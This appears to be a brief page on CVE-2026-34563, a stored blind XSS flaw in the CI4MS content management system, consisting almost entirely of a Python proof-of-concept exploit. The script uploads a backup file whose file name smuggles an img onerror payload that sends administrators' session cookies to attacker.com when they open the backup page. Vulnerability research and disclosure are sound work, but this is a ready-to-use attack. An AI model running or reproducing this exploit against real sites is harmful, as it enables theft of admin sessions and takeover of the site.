CVE-2026-34563 CI4MS 存储型盲XSS漏洞

# Proof of Concept for CVE-2026-34563 # This script simulates uploading a malicious backup file to trigger Stored XSS import requests def exploit(target_url, attacker_listener): # The XSS payload to steal admin cookies xss_payload = f"<img src=x onerror=fetch('{attacker_listener}?c='+document.cookie)>" # Construct the malicious SQL file name # The application uses SQL functionality to process this, leading to injection malicious_filename = f"backup_{xss_payload}.sql" upload_url = f"{target_url}/admin/backup/upload" # Dummy content for the SQL file file_content = "-- Malicious backup file" files = { 'file': (malicious_filename, file_content, 'text/plain') } # Attacker needs low privileges (PR:L) to perform this action credentials = {'username': 'attacker', 'password': 'password'} try: print(f"[*] Uploading malicious backup to {upload_url}...") response = requests.post(upload_url, files=files, data=credentials) if response.status_code == 200: print("[+] Upload successful. XSS Payload stored in database.") print("[*] Wait for an administrator to view the Backup Management page.") else: print(f"[-] Upload failed. Status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": target = "http://ci4ms-local.com" listener = "http://attacker.com/collect" exploit(target, listener)